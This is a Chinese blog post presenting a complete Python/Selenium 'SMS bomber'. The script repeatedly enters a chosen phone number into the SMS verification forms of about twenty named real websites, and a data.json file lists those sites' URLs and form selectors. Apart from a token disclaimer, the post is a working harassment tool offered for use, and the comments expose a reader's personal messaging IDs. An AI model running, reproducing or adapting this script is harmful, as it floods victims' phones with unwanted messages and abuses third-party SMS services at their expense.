papa森

学习用python及selenium做一个短信轰炸脚本(请勿用于违法犯罪)

闲来无事写了个短信轰炸机,将各个步骤写进json文件中,在一条一条执行。

# encoding="utf-8"
from selenium import webdriver
import json
import sys


class MessageMachine():
    BY = {'ID': "id",
          'XPATH': "xpath",
          'LINK_TEXT': "link text",
          'PARTIAL_LINK_TEXT': "partial link text",
          'NAME': "name",
          'TAG_NAME': "tag name",
          'CLASS_NAME': "class name",
          'CSS_SELECTOR': "css selector"}

    # commandList = {'get': openPage}

    def __init__(self, driver, phone: str):
        '''
        初始化数据(webdriver,phone)
        '''
        self.driver = driver
        self.phone = phone
        # interval间隔时间默认0秒
        self.interval = 0
        print('init success')

    def setInterval(self, time: int):
        '''
        time:每次发送间隔时间(秒)默认是3秒
        '''
        self.interval = time

    def openPage(self, url):
        self.driver.get(url)

    def findEmelent(self, by, value):
        '''
        by:'ID','XPATH','LINK_TEXT','PARTIAL_LINK_TEXT','NAME','TAG_NAME','CLASS_NAME','CSS_SELECTOR'
        '''

        return self.driver.find_element(MessageMachine.BY[by], value)

    def addCommands(self, commands: dict):
        self.commands = commands

    def quit(self):
        self.driver.quit()

    def executeOne(self, one: dict):
        '''
        one dict 一次完整的发送短信命令列表
        '''
        try:
            tmp = {}
            for i in one:
                head = i[0]
                if head == 'get':
                    self.openPage(i[1])
                    continue

                if head == 'find':
                    tmp[i[3]] = self.findEmelent(i[1], i[2])
                    continue
                if head == 'input':
                    value = i[2]
                    if(value == 'phone'):
                        # place phone
                        value = self.phone
                    tmp[i[1]].send_keys(value)
                    continue

                if head == 'click':
                    tmp[i[1]].click()
                    continue

                if head == 'execute_script':
                    self.driver.execute_script(i[1])
                    continue
                if head == 'wait':
                    import time
                    time.sleep(i[1])
                    continue
                if head=='implicitly_wait':
                    self.driver.implicitly_wait(i[1])
            self.driver.implicitly_wait(10)
            import time
            time.sleep(self.interval)
        except:
            print('error:'+one[0][1])
            return False
        print('send success:'+one[0][1])
        return True

    def executeAll(self):
        for i in self.commands:
            self.executeOne(i)
            # self.driver.switch_to.alert.accept()


def start():
    phone='*******' #待接收短信的号码
    send_rounds=30  #循环json文件的次数
    root = sys.path[0]
    d_path = root+r'\chromedriver.exe'
    options = webdriver.ChromeOptions()
    options.add_argument('lang=zh_CN.UTF-8')
    prefs = {'profile.managed_default_content_settings.images':2}
    options.add_experimental_option('prefs', prefs)
    driver = webdriver.Chrome(executable_path=d_path,options=options)

    a = MessageMachine(driver, phone)
    # a.setInterval(4) #设置每次发送的时间间隔
    with open(root+r'\data.json','r') as f:
        data =json.load(f)
        a.addCommands(data)
        for i in range(send_rounds):
            a.executeAll()

start()

下面是data.json

[
	[
		["get", "https://reg.suning.com/company.do"],
		["find", "ID", "cntctMobileNum", "cntctMobileNum"],
		["input", "cntctMobileNum", "phone"],
		["find", "CLASS_NAME", "send-msg", "send-msg"],
		["click", "send-msg"],
		["tag", "\u82cf\u5b81\u6ce8\u518c"]
	],
	[
		["get", "https://www.yqb.com/security/occupied"],
		["find", "NAME", "mobile", "mobile"],
		["input", "mobile", "phone"],
		["find", "CLASS_NAME", "otpSend ", "otpSend  "],
		["click", "otpSend  "],
		["wait", 3],
		["tag", "\u58f9\u94b1\u5305"]
	],
	[
		["get", "https://haoma.baidu.com/search"],
		["find", "ID", "bdlogin", "bdlogin"],
		["click", "bdlogin"],
		["wait", 3],
		["find", "ID", "TANGRAM__PSP_10__smsSwitch", "TANGRAM__PSP_10__smsSwitch"],
		["click", "TANGRAM__PSP_10__smsSwitch"],
		["find", "ID", "TANGRAM__PSP_10__smsPhone", "TANGRAM__PSP_10__smsPhone"],
		["input", "TANGRAM__PSP_10__smsPhone", "phone"],
		["find", "ID", "TANGRAM__PSP_10__smsTimer", "TANGRAM__PSP_10__smsTimer"],
		["click", "TANGRAM__PSP_10__smsTimer"],
		["wait", 3],
		["tag", "\u767e\u5ea6\u8d26\u53f7\u767b\u5f55"]
	],
	[
		["get", "http://passport.cnmo.com/register/"],
		["find", "ID", "m_mobile", "m_mobile"],
		["input", "m_mobile", "phone"],
		["find", "ID", "m_uname", "m_uname"],
		["input", "m_uname", "k8wusername"],
		["find", "ID", "m_password", "m_password"],
		["input", "m_password", "k8wpassword"],
		["find", "ID", "m_confirm", "m_confirm"],
		["input", "m_confirm", "k8wpassword"],
		["wait", 2],
		["find", "ID", "m_getcode", "m_getcode"],
		["click", "m_getcode"],
		["tag", "cnmo"]
	],
	[
		["get", "https://www.iqiyi.com/iframe/loginreg?ver=1"],
		["find", "LINK_TEXT", "\u6ce8\u518c", "to"],
		["click", "to"],
		["find", "XPATH", "/html/body/div[2]/div/div[2]/div[1]/div[1]/div[1]/div/div/div[2]/input", "e"],
		["input", "e", "phone"],
		["find", "LINK_TEXT", "\u4e0b\u4e00\u6b65", "pslgp"],
		["click", "pslgp"],
		["tag", "\u7231\u5947\u827a"]
	],
	[
		["get", "http://job.91job.com/"],
		["find", "ID", "mobile", "mobile"],
		["input", "mobile", "phone"],
		["find", "ID", "send-sms", "send-sms"],
		["click", "send-sms"],
		["tag", "91job"]
	],
	[
		["get", "http://www.csti.cn/uc/index/signup.htm"],
		["find", "ID", "act_for_phone_org", "act_for_phone_org"],
		["click", "act_for_phone_org"],
		["find", "ID", "phone_org", "phone_org"],
		["input", "phone_org", "phone"],
		["find", "ID", "verify_btn_org", "verify_btn_org"],
		["click", "verify_btn_org"],
		["tag", "\u91cd\u5e86\u79d1\u6280\u8d44\u6e90\u5171\u4eab\u5e73\u53f0"]
	],
	[
		["get", "https://passport.wanmei.com/password/"],
		["find", "CLASS_NAME", "sym_l_phone", "sym_l_phone"],
		["click", "sym_l_phone"],
		["find", "ID", "accountmobile", "accountmobile"],
		["input", "accountmobile", "phone"],
		["find", "ID", "btn_sendmobile", "btn_sendmobile"],
		["click", "btn_sendmobile"],
		["tag", "\u5b8c\u7f8e\u4e16\u754c\u627e\u56de\u5bc6\u7801"]
	],
	[
		["get", "https://eshop.dell-brand.com/index.php?r=site%2Fuser&sign=1"],
		["find", "ID", "userform-mobile_phone", "userform-mobile_phone"],
		["input", "userform-mobile_phone", "phone"],
		["find", "ID", "sms", "sms"],
		["click", "sms"],
		["tag", "\u6234\u5c14\u6ce8\u518c"]
	],
	[
		["get", "http://www.jijitang.com/#"],
		["find", "ID", "index-signup-modal", "index-signup-modal"],
		["click", "index-signup-modal"],
		["wait", 3],
		["find", "ID", "phonenumberreg", "phonenumberreg"],
		["input", "phonenumberreg", "phone"],
		["find", "ID", "verificationcodesend", "verificationcodesend"],
		["click", "verificationcodesend"],
		["wait", 3],
		["tag", "\u5527\u5527\u5802\u8bba\u6587\u7f51"]
	],
	[
		["get", "https://accounts.douban.com/passport/login?source=group"],
		["find", "CLASS_NAME", "account-form-input", "account-form-input"],
		["input", "account-form-input", "phone"],
		["find", "LINK_TEXT", "\u83b7\u53d6\u9a8c\u8bc1\u7801", "bt_getcode"],
		["click", "bt_getcode"],
		["tag", "\u8c46\u74e3"]
	],
	[
		["get", "https://partner.oceanengine.com/union/media/login?from=&operation=register"],
		["find", "CLASS_NAME", "register-modal__register-suffix--aGGyd", "tologin"],
		["click", "tologin"],
		["wait", 3],
		["find", "XPATH", "/html/body/div[2]/div/div[2]/div/div[2]/div/div[1]/div[2]", "go"],
		["click", "go"],
		["find", "XPATH", "/html/body/div[2]/div/div[2]/div/div[2]/div/div[2]/span[1]/input", "phone"],
		["input", "phone", "phone"],
		["find", "XPATH", "/html/body/div[2]/div/div[2]/div/div[2]/div/div[2]/span[2]/span/a", "send"],
		["click", "send"],
		["tag", "\u7a7f\u5c71\u7532"]
	],
	[
		["get", "https://developer.rongcloud.cn/signup"],
		["find", "XPATH", "/html/body/div[4]/div/div[2]/div[2]/div[2]/div[1]/div[1]/input", "mobile"],
		["input", "mobile", "phone"],
		["find", "XPATH", "/html/body/div[4]/div/div[2]/div[2]/div[2]/div[2]/div/button", "send"],
		["click", "send"],
		["tag", "\u878d\u4e91"]
	],
	[
		["get", "https://www.jiemo.net/home/member/showregister.html"],
		["find", "XPATH", "/html/body/div[1]/div[3]/div/div/div/div[2]/form[1]/div[2]/div/input", "mobile"],
		["input", "mobile", "phone"],
		["find", "XPATH", "/html/body/div[1]/div[3]/div/div/div/div[2]/form[1]/div[4]/div[2]/a", "send"],
		["click", "send"],
		["tag", "\u82a5\u672b\u7559\u5b66"]
	],
	[
		["get", "https://static.app.yinxiang.com/embedded-web/registration/index.html#/registration"],
		["find", "CLASS_NAME", "registration-account-input ", "phone"],
		["input", "phone", "phone"],
		["find", "CLASS_NAME", "registration-password-input", "pw"],
		["input", "pw", "dw323jk92e"],
		["find", "CLASS_NAME", "registration-sms-vercode-btn-validate", "send"],
		["click", "send"],
		["tag", "\u5370\u8c61\u7b14\u8bb0"]
	],
	[
		["get", "https://open.e.189.cn/api/logbox/oauth2/unifyAccountLogin.do?sign=1CFC7569E558335FF14E17B2B0D617F37D7E4B73&appId=pmplatform&paras=B97A446BC063C52C46421BAE24B5559A34F4C5846373FCA001EF252078C62EB98670807B782F0E43077354044E3DD39EDBBAADE8DB5819FE40D78F34B018A354C1BC4CC73E3E31EF976FE2554FF2EBFDE43E31DFE4AEE5723736C8C8049F9ECEC7C41381244D8F57FB5E64C02492CAC5BD3AD8C60BB7EFBA18694DC94A0C75AAC6FAF7CDD5C622C31C75B1F6AFE5BCFDBD56AE77057C40EB7950BE73F0600AAFD852DDA50AA390330609932AB08A58890BB1D743DCD0754A5264DB701396A697D9590E0F&format=json&clientType=10010&version=v1.0&"],
		["find", "ID", "j-dynamicLogin-link", "login"],
		["click", "login"],
		["find", "ID", "dynamicUserName", "dynamicUserName"],
		["input", "dynamicUserName", "phone"],
		["find", "ID", "j-msg-verifyCode", "send"],
		["click", "send"],
		["tag", "\u5929\u7ffc\u8d26\u53f7\u6ce8\u518c"]
	],
	[
		["get", "https://passport.xoyo.com/signup"],
		["find", "CLASS_NAME", "el-input__inner", "phone"],
		["input", "phone", "phone"],
		["find", "XPATH", "//*[@id=\"app\"]/section/div/div/div/div[1]/div/div/div/div/div/div[2]/div[1]/form/div[2]/div/div/div/button", "send"],
		["click", "send"],
		["wait", 3],
		["tag", "\u91d1\u5c71\u901a\u884c\u8bc1\u6ce8\u518c"]
	],
	[
		["get", "http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in"],
		["find", "NAME", "moblie", "phone"],
		["input", "phone", "phone"],
		["find", "ID", "sendMSgBtu", "send"],
		["click", "send"],
		["tag", "51book"]
	],
	[
		["get", "https://www.battlenet.com.cn/account/creation/zh/tos.html"],
		["find", "ID", "mobileNumber", "phone"],
		["input", "phone", "phone"],
		["find", "ID", "send-code-btn", "send"],
		["click", "send"],
		["wait", 3],
		["tag", "\u66b4\u96ea\u6e38\u620f\u6ce8\u518c"]
	],
	[
		["get", "https://www.battlenet.com.cn/account/recovery/zh/identify-account.html?requestType=PASSWORD_RESET"],
		["find", "ID", "accountIdentifier", "phone"],
		["input", "phone", "phone"],
		["find", "ID", "support-submit", "next"],
		["click", "next"],
		["find", "ID", "answer", "answer"],
		["input", "answer", "phone"],
		["find", "ID", "support-submit", "send"],
		["click", "send"],
		["tag", "\u66b4\u96ea\u6e38\u620f\u627e\u56de\u5bc6\u7801"]
	]
]

完整项目已上传至github: https://github.com/wsjzs/MessageMachine

4 评论

  1. 作者您好,初学python,想请教一下您。
    不知道您的联系方式,方便的话可以添加一下我的联系方式,联系一下吗?谢谢
    QQ:1589368154
    微信:ZMJ199307

  2. 很不错,就是库太少了

发表评论